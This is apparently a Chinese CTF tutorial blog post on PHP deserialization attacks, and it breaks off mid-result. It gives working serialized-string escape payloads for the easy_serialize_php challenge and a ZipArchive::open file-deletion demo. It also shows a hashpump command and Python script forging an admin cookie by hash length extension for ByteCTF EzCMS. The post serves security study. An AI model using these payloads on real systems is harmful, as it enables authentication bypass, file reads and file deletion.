<p>看完上面的例子,发现本来想读取的内容是<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION["img"]</span>的值为:<span style="background-color: rgba(255, 255, 153, 1)">L2QwZzNfZmxsbGxsbGFn</span>,但是由于过滤掉了<span style="background-color: rgba(255, 255, 153, 1)">flag</span>,string(24)位数不够往后读取,就把<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION["function"]</span>的值的前24位存放在<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION["user"]</span>中,把<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION["funcion"]</span>的值的后20为存放在<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION["img"]</span>中,导致<span style="background-color: rgba(255, 255, 153, 1)">ZDBnM19mMWFnLnBocA==</span>代替了<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION["img"]</span>对应的原本的值。而识别完成后序列化最后面的<span style="background-color: rgba(255, 255, 153, 1)">";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}</span>被忽略掉了,不影响正常的反序列化过程。</p>
<p>可以看到本例中<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION["img"]</span>对应的值发生了变化。这样的话岂不是可以做到"隔山打牛",如果我们能够控制原来<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION</span>数组的<span style="background-color: rgba(255, 255, 153, 1)">funcion</span>的值,但无法控制<span style="background-color: rgba(255, 255, 153, 1)">img</span>的值,我们就可以通过这种方式间接控制到<span style="background-color: rgba(255, 255, 153, 1)">img</span>对应的值。</p>
<h2>CTF实例</h2>
<p>这里选择安洵杯2019这道题目:easy_serialize_php</p>
<p>题目源码:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201009190309908-143920109.png" alt="" width="702" height="567" loading="lazy"></p>
<p>代码中有提示"maybe you can find something in here",先来看一下phpinfo()中有哪些有用的信息:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201009190904102-260917832.png" alt="" width="688" height="211" loading="lazy"></p>
<p>可以看到这里藏了一个文件<span style="background-color: rgba(255, 255, 153, 1)">d0g3_f1ag.php</span>,需要分析代码来构造反序列化链读取文件。</p>
<p>起点就是当<span style="background-color: rgba(255, 255, 153, 1)">$function=='show_image'</span>时,调用了文件读取函数<span style="background-color: rgba(255, 255, 153, 1)">file_get_contents()</span>,变量为<span style="background-color: rgba(255, 255, 153, 1)">$userinfo['img']<span style="color: rgba(0, 0, 0, 1); background-color: rgba(255, 255, 255, 1)">,调用过程为</span><span style="background-color: rgba(255, 255, 255, 1)"><br></span></span></p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$userinfo['img'] &lt;-- unserialize($serialize_info) &lt;-- filter(serialize($_SESSION))</span></pre>
</div>
<p>可以看到最后是先对<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION</span>进行序列化,然后传进<span style="background-color: rgba(255, 255, 153, 1)">filter</span>方法进行对php,flag,php5,php4,fl1g字段进行过滤,然后再进行反序列化。这会导致构造的序列化的数据不完整,导致反序列化失败。</p>
<p><strong>先来看第一种payload(键逃逸):</strong></p>
<p>需要一个键值对就行了,直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独的键值对</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">_SESSION=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;s:3:</span><span style="color: rgba(128, 0, 0, 1)">"</span>aaa<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;s:3:</span><span style="color: rgba(128, 0, 0, 1)">"</span>img<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;s:20:</span><span style="color: rgba(128, 0, 0, 1)">"</span>ZDBnM19mMWFnLnBocA==<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;}</span></span></pre>
</div>
<p>通过POST方法传递,经过<span style="background-color: rgba(255, 255, 153, 1)">extract($_POST)</span>进行变量覆盖。但是这个<span style="background-color: rgba(255, 255, 153, 1)">extract</span>的位置比较刁钻,如果放在<span style="background-color: rgba(255, 255, 153, 1)">$serialize_info=</span>上一行,直接通过变量覆盖<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION["img"]</span>就可以读取d0g3_f1ag.php文件,但是放在<span style="background-color: rgba(255, 255, 153, 1)">if(!$function){</span>上面的话就导致,我们的可控参数只有<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION["user"]</span>,<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION["function"]</span>。</p>
<p>这样就只能"隔山打牛",结合题目对一些字符的过滤,使用上面的逃逸方法,实现参数替换。</p>
<p>打印出上述payload在序列化之前 - 序列化之后 - 过滤之后的状态:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201010153737181-2124919542.png" alt="" width="776" height="102" loading="lazy"></p>
<p>filter过滤之后:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">a:<span style="color: rgba(128, 0, 128, 1)">2</span>:{s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">flagflag</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">51</span>:<span style="color: rgba(128, 0, 0, 1)">""</span>;s:<span style="color: rgba(128, 0, 128, 1)">3</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">aaa</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">3</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">img</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">20</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">ZDBnM19mMWFnLnBocA==</span><span style="color: rgba(128, 0, 0, 1)">"</span>;}<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;s:3:</span><span style="color: rgba(128, 0, 0, 1)">"</span>img<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;s:20:</span><span style="color: rgba(128, 0, 0, 1)">"</span>Z3Vlc3RfaW1nLnBuZw==<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;}</span></span></pre>
</div>
<p>由于对字符<span style="background-color: rgba(255, 255, 153, 1)">fl1gfl1g</span>替换为空,第一个s需要往后读8个字符,也就是<span style="background-color: rgba(255, 255, 153, 1)">";s:51:"</span>,紧接着就是第二个s需要往后读8个字符,也就是<span style="background-color: rgba(255, 255, 153, 1)">aaa</span>,紧接着就是img对应读取20个字符,也就是<span style="background-color: rgba(255, 255, 153, 1)">ZDBnM19mMWFnLnBocA==</span>,<span style="background-color: rgba(255, 255, 153, 1)">' } '</span>括号后面的内容就被忽略,不会影响反序列化结果</p>
<p>所以反序列化之后的结果为:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px"><span style="color: rgba(0, 0, 0, 1)">array
</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">";s:51:"</span><span style="color: rgba(128, 0, 0, 1)">'</span> =&gt; <span style="color: rgba(0, 0, 255, 1)">string</span> <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">aaa</span><span style="color: rgba(128, 0, 0, 1)">'</span> (length=<span style="color: rgba(128, 0, 128, 1)">3</span><span style="color: rgba(0, 0, 0, 1)">)
</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">img</span><span style="color: rgba(128, 0, 0, 1)">'</span> =&gt; <span style="color: rgba(0, 0, 255, 1)">string</span> <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">ZDBnM19mMWFnLnBocA==</span><span style="color: rgba(128, 0, 0, 1)">'</span> (length=<span style="color: rgba(128, 0, 128, 1)">20</span>)</span></pre>
</div>
<p>此时<span style="background-color: rgba(255, 255, 153, 1)">$userinfo['img'] =&nbsp;ZDBnM19mMWFnLnBocA==</span>,成功读取<span style="background-color: rgba(255, 255, 153, 1)"><span style="background-color: rgba(255, 255, 255, 1)"><span style="background-color: rgba(255, 255, 153, 1)">/d0g3_fllllllag</span>文件:</span></span></p>
<p><span style="background-color: rgba(255, 255, 153, 1)"><span style="background-color: rgba(255, 255, 255, 1)"><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201010153904381-267053729.png" alt="" width="652" height="279" loading="lazy"></span></span></p>
<p><strong>第二种payload(值逃逸):</strong></p>
<p>需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">_SESSION=flagflagflagflagflagflag&amp;_SESSION=a<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;s:3:</span><span style="color: rgba(128, 0, 0, 1)">"</span>img<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;s:20:</span><span style="color: rgba(128, 0, 0, 1)">"</span>ZDBnM19mMWFnLnBocA==<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;s:2:</span><span style="color: rgba(128, 0, 0, 1)">"</span>dd<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;s:1:</span><span style="color: rgba(128, 0, 0, 1)">"</span>a<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;}</span></span></pre>
</div>
<p>打印出上述payload在序列化之前 - 序列化之后 - 过滤之后的状态:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201010154349325-2056274166.png" alt="" width="1054" height="114" loading="lazy"></p>
<p>filter过滤之后:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">a:<span style="color: rgba(128, 0, 128, 1)">3</span>:{s:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">24</span>:<span style="color: rgba(128, 0, 0, 1)">""</span>;s:<span style="color: rgba(128, 0, 128, 1)">8</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">function</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">59</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">a</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">3</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">img</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">20</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">ZDBnM19mMWFnLnBocA==</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">2</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">dd</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">1</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">a</span><span style="color: rgba(128, 0, 0, 1)">"</span>;}<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;s:3:</span><span style="color: rgba(128, 0, 0, 1)">"</span>img<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;s:20:</span><span style="color: rgba(128, 0, 0, 1)">"</span>Z3Vlc3RfaW1nLnBuZw==<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">;}</span></span></pre>
</div>
<p>同上一个payload原理差不多,会吃掉后面的字符,只不过这次在值上,上一个payload是在键上吃了后面的值,反序列化结果如下:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px"><span style="color: rgba(0, 0, 0, 1)">array
</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">'</span> =&gt; <span style="color: rgba(0, 0, 255, 1)">string</span> <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">";s:8:"function";s:59:"a</span><span style="color: rgba(128, 0, 0, 1)">'</span> (length=<span style="color: rgba(128, 0, 128, 1)">24</span><span style="color: rgba(0, 0, 0, 1)">)
</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">img</span><span style="color: rgba(128, 0, 0, 1)">'</span> =&gt; <span style="color: rgba(0, 0, 255, 1)">string</span> <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">ZDBnM19mMWFnLnBocA==</span><span style="color: rgba(128, 0, 0, 1)">'</span> (length=<span style="color: rgba(128, 0, 128, 1)">20</span><span style="color: rgba(0, 0, 0, 1)">)
</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">dd</span><span style="color: rgba(128, 0, 0, 1)">'</span> =&gt; <span style="color: rgba(0, 0, 255, 1)">string</span> <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">a</span><span style="color: rgba(128, 0, 0, 1)">'</span> (length=<span style="color: rgba(128, 0, 128, 1)">1</span>)</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201010155016066-734286026.png" alt="" width="693" height="312" loading="lazy"></p>
<h1>PHP原生类序列化</h1>
<h2>php中的原生类</h2>
<p>以下内容参考于l3m0n大佬的《反序列化之PHP原生类的利用》</p>
<p>使用以下脚本打印出php本身内置类:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
$classes </span>=<span style="color: rgba(0, 0, 0, 1)"> get_declared_classes();
</span><span style="color: rgba(0, 0, 255, 1)">foreach</span> ($classes <span style="color: rgba(0, 0, 255, 1)">as</span> $<span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)">) {
    $methods </span>= get_class_methods($<span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)">);
    </span><span style="color: rgba(0, 0, 255, 1)">foreach</span> ($methods <span style="color: rgba(0, 0, 255, 1)">as</span><span style="color: rgba(0, 0, 0, 1)"> $method) {
      </span><span style="color: rgba(0, 0, 255, 1)">if</span><span style="color: rgba(0, 0, 0, 1)"> (in_array($method, array(
            </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">__destruct</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,
            </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">__toString</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,
            </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">__wakeup</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,
            </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">__call</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,
            </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">__callStatic</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,
            </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">__get</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,
            </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">__set</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,
            </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">__isset</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,
            </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">__unset</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,
            </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">__invoke</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,
            </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">__set_state</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">
      ))) {
            echo $</span><span style="color: rgba(0, 0, 255, 1)">class</span> . <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">::</span><span style="color: rgba(128, 0, 0, 1)">'</span> . $method.<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;br&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span></span><span style="color: rgba(0, 0, 0, 1)"><span style="font-size: 13px">;
      }
    }
}</span> </span></pre>
</div>
<p>在<span style="background-color: rgba(255, 255, 153, 1)">php5.3之前版本</span>打印的结果如下:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201011171704310-1017134730.png" alt="" width="843" height="421" loading="lazy"></p>
<p>在<span style="background-color: rgba(255, 255, 153, 1)">php5.3版本之后</span>打印的结果如下:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201011171752040-1823081537.png" alt="" width="848" height="256" loading="lazy"></p>
<p>对比明显看到php5支持的内置类更多一点。但是有些类不能够进行反序列化,因为php中使用了<span style="background-color: rgba(255, 255, 153, 1)">zend_class_unserialize_deny</span>来禁止一些类的反序列化,比如序列化<span style="background-color: rgba(255, 255, 153, 1)">DirectoryIterator</span>的时候:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
    $dir </span>= <span style="color: rgba(0, 0, 255, 1)">new</span> DirectoryIterator(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">/</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
    echo serialize($dir);
</span>?&gt;</span></pre>
</div>
<p>php5.3版本之前:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201011180159085-256262673.png" alt="" width="248" height="62" loading="lazy"></p>
<p>php5.3版本之后:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201011175921405-894652842.png" alt="" width="506" height="123" loading="lazy"></p>
<h2 id="toc-10">原生类利用之ZipArchive::open()</h2>
<h3 id="toc-10">ZipArchive::open介绍</h3>
<p>官方手册中这样介绍</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201011231849604-265428835.png" alt="" width="436" height="620" loading="lazy"></p>
<p><span style="background-color: rgba(255, 255, 153, 1)">ZipArchive::open()</span>在PHP&gt;=5.2.0的时候可以使用,其中flag参数如果设置为<span style="background-color: rgba(255, 255, 153, 1)">ZipArchive::OVERWRITE</span>时,会删除指定文件,该特性在一定条件下可以用于删除文件,当然前提是存在<span style="background-color: rgba(255, 255, 153, 1)">open</span>函数来进行触发。</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201011232109311-989737601.png" alt="" width="542" height="249" loading="lazy"></p>
<p>本地进行创建demo进行测试,为了测试效果使用两个file_exists判断文件状态:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
    $a </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> ZipArchive();
    var_dump(file_exists(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">1.txt</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">));
   
    $a</span>-&gt;open(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">1.txt</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">,ZipArchive::OVERWRITE);
   
    var_dump(file_exists(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">1.txt</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">));
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201011233444465-286806004.png" alt="" width="327" height="214" loading="lazy"></p>
<p>运行代码:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201011233524727-1036363007.png" alt="" width="272" height="71" loading="lazy"></p>
<p>可以看到当<span style="background-color: rgba(255, 255, 153, 1)">ZipArchive::open()</span>的第二个参数为<span style="background-color: rgba(255, 255, 153, 1)">ZipArchive::OVERWRITE</span>,会把指定文件删除。</p>
<h3>CTF实例理解</h3>
<p>下面以ByteCTF的EzCMS为例来加深一下印象。</p>
<p>代码地址:https://github.com/glzjin/bytectf_2019_ezcms</p>
<p>本地使用docker搭建环境</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201014215124816-931931542.png" alt="" width="383" height="240" loading="lazy"></p>
<p>访问www.zip获取源码:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">192.168.127.141:8302/www.zip</span></span></pre>
</div>
<p>先来看index.php</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201013092751134-786794760.png" alt="" width="502" height="294" loading="lazy"></p>
<p>接收POST传递过来的username,password参数,只要password不等于<span style="background-color: rgba(255, 255, 153, 1)">"admin"</span>,就把username,password存放进SESSION中。这就算登陆成功了???</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201013003654240-328121566.png" alt="" width="181" height="181" loading="lazy"></p>
<p>看到最上面<span style="background-color: rgba(255, 255, 153, 1)">include('config.php');</span>,下面的if判断又调用了<span style="background-color: rgba(255, 255, 153, 1)">login()</span>方法,来看一下代码</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201013092704272-1287519752.png" alt="" width="445" height="123" loading="lazy"></p>
<p>这里设置了一个名叫hash的cookie,值为<span style="background-color: rgba(255, 255, 153, 1)">md5($secret."adminadmin")</span>。</p>
<p>随便输入账号密码登录(admin/123),抓取数据包:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201014221946700-756719932.png" alt="" width="469" height="247" loading="lazy"></p>
<p>通过数据包中Cookie的hash字段,可以得到</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">md5($secret.<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">adminadmin</span><span style="color: rgba(128, 0, 0, 1)">"</span>) = 52107b08c0f3342d2153ae1d68e6262c</span></pre>
</div>
<p>继续往下看,发现登录成功就跳转到upload.php页面,但是上传文件会失败,显示不是admin</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201014223642720-1905786100.png" alt="" width="322" height="160" loading="lazy"></p>
<p>直接来看下upload.php代码</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201013092623897-349205479.png" alt="" width="438" height="180" loading="lazy"></p>
<p>这里看到包含了config.php文件,并且实例化了一个<span style="background-color: rgba(255, 255, 153, 1)">Admin</span>类的对象来处理上传的文件,来看一下具体的实现</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201014224111416-2016439928.png" alt="" width="608" height="472" loading="lazy"></p>
<p>这里设置了<span style="background-color: rgba(255, 255, 153, 1)">upload_dir = sandbox/md5($_SERVER['REMOTE_ADDR']);</span>,并且在上传目录下创建<span style="background-color: rgba(255, 255, 153, 1)">.htaccess</span>文件,并写入相关内容。</p>
<p>终于找到上传失败的罪魁祸首,在调用<span style="background-color: rgba(255, 255, 153, 1)">upload_file()</span>上传文件的时候会先校验<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;checker</span>是否为True,而<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;checker</span>又是<span style="background-color: rgba(255, 255, 153, 1)">Profile</span>类中<span style="background-color: rgba(255, 255, 153, 1)">is_admin()</span>方法的返回值。</p>
<p>跟进查看is_admin()方法:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201014224550429-249589038.png" alt="" width="557" height="230" loading="lazy"></p>
<p>当满足:</p>
<p>  1. <span style="background-color: rgba(255, 255, 153, 1)">username = "admin" &amp;&amp; password != "admin"</span></p>
<p>  2. <span style="background-color: rgba(255, 255, 153, 1)">\$_COOKIE['user'] === md5(\$secret.\$this-&gt;username.\$this-&gt;password)</span></p>
<p>结合上面的</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">md5($secret.<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">adminadmin</span><span style="color: rgba(128, 0, 0, 1)">"</span>) = 52107b08c0f3342d2153ae1d68e6262c</span></pre>
</div>
<p>可以使用哈希长度扩展攻击来绕过获取<span style="background-color: rgba(255, 255, 153, 1)">$secret</span>的步骤,直接获取<span style="background-color: rgba(255, 255, 153, 1)">password</span></p>
<blockquote>
<p><span style="background-color: rgba(255, 255, 255, 1)">哈希长度扩展攻击是利用了 md5、sha1 等加密算法的缺陷,适用于加密情况为:hash(\$SECRET, \$message)的情况,其中 hash 最常见的就是 md5、sha1。可以在不知道$SECRET的情况下推算出另外一个匹配的值 </span></p>
<p>&nbsp;</p>
<p><span style="background-color: rgba(255, 255, 255, 1)">具体参考:https://blog.csdn.net/syh_486_007/article/details/51228628 </span></p>
<p><span style="background-color: rgba(255, 255, 255, 1)">     https://www.cnblogs.com/pcat/p/5478509.html</span></p>
</blockquote>
<p>这里由于不知道$secret的长度,只能依次将长度+1然后生成exp。登陆上传。当测试到第13个的时候就成功了</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201014232549470-1678811417.png" alt="" width="623" height="135" loading="lazy"></p>
<p>或者直接</p>
<div class="cnblogs_code">
<pre>hashpump -s 571580b26c65f306376d4f64e53cb5c7 -d admin -k <span style="color: rgba(128, 0, 128, 1)">13</span> -a pcat</pre>
</div>
<p>用hashpump写个脚本:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px"><span style="color: rgba(0, 0, 0, 1)">import requests,hashpumpy,urllib
def webre():
    sha</span>=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">52107b08c0f3342d2153ae1d68e6262c</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">
    string0</span>=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">admin</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">
    string1</span>=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">pcat</span><span style="color: rgba(128, 0, 0, 1)">'</span>
    <span style="color: rgba(0, 0, 255, 1)">for</span> i <span style="color: rgba(0, 0, 255, 1)">in</span> range(<span style="color: rgba(128, 0, 128, 1)">15</span><span style="color: rgba(0, 0, 0, 1)">):
      digest,message</span>=<span style="color: rgba(0, 0, 0, 1)">hashpumpy.hashpump(sha,string0,string1,i)
      role</span>=<span style="color: rgba(0, 0, 0, 1)">urllib.quote(message[::])
      hsh</span>=<span style="color: rgba(0, 0, 0, 1)">digest
      payload</span>={<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">post</span><span style="color: rgba(128, 0, 0, 1)">'</span>:role,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">hash</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">:hsh}
      print(i,payload)
webre()</span></span></pre>
</div>
<p>最后得到</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px"><span style="color: rgba(0, 0, 0, 1)">username:admin
